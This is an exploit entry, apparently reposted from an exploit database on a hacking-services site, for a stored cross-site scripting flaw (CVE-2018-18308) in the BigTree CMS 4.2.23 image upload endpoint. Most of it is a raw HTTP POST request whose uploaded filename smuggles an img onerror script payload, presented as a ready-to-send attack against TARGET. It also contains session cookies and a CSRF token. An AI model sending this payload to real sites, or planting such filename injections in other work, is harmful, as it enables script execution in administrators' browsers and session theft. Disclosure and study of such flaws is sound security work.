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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: BigTree CMS 4.2.23 - Cross-Site Scripting
# Date: 2018-10-15 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.bigtreecms.org/
# Software Link : https://github.com/bigtreecms/BigTree-CMS/
# Software : BigTree CMS
# Version : 4.2.23
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2018-18308

# In the 4.2.23 version of BigTree, a Stored XSS vulnerability has been discovered 
# in /admin/ajax/file-browser/upload/ (aka the image upload area).
 
# HTTP POST Request :

POST /admin/ajax/file-browser/upload/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/admin/pages/add/0/
Content-Type: multipart/form-data; boundary=---------------------------15148507251045999311737722822
Content-Length: 1574699
Cookie: __utma=242042641.1054742390.1539547796.1539547796.1539547796.1; __utmb=242042641.6.10.1539547796; __utmc=242042641; __utmz=242042641.1539547796.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); PHPSESSID=fat2c61gglprnotletf1mobnui; hide_bigtree_bar=; bigtree_admin[email]=test%40ismailtasdelen.me; bigtree_admin[login]=%5B%22session-5bc3a4ae5b8016.12355027%22%2C%22chain-5bc3a4ae5b7966.37991866%22%5D; bigtree_admin%5Bpage_properties_open%5D=on
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------15148507251045999311737722822
Content-Disposition: form-data; name="__csrf_token_B2FHVMV815XHACWV8RVV2BTX1EH1YEH6__"

tNvtUi8PU/IDcrgxj1t/Uv/1ciYeF7AudslXD429hkQ=
-----------------------------15148507251045999311737722822
Content-Disposition: form-data; name="folder"

0
-----------------------------15148507251045999311737722822
Content-Disposition: form-data; name="files[]"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg